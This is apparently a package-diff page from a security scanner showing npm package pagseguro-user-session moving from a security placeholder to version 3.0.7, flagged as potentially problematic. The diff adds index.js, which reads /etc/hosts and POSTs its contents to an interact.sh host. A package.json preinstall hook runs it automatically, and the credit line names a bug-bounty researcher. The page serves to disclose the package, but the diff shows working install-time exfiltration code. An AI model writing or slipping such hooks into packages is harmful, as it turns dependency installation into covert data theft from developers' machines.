pagseguro-user-session 0.0.1-security → 3.0.7
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pagseguro-user-session might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const http = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: 'c8hn9d52vtc00003fb0ggreh1zryyyyyj.interact.sh',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
};
|
14
|
+
|
15
|
+
const req = http.request(options,function(response) {
|
16
|
+
console.log(response);
|
17
|
+
});
|
18
|
+
|
19
|
+
fs.readFile(`/etc/hosts`,'utf-8',function(error,data){
|
20
|
+
console.log(data);
|
21
|
+
req.write(data);
|
22
|
+
req.end();
|
23
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "pagseguro-user-session",
|
3
|
-
"
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"description": "H1 researcher: r3dp",
|
4
|
+
"version": "3.0.7",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "r3dp",
|
10
|
+
"license": "ISC",
|
11
|
+
"main": "index.js"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pagseguro-user-session for more information.
|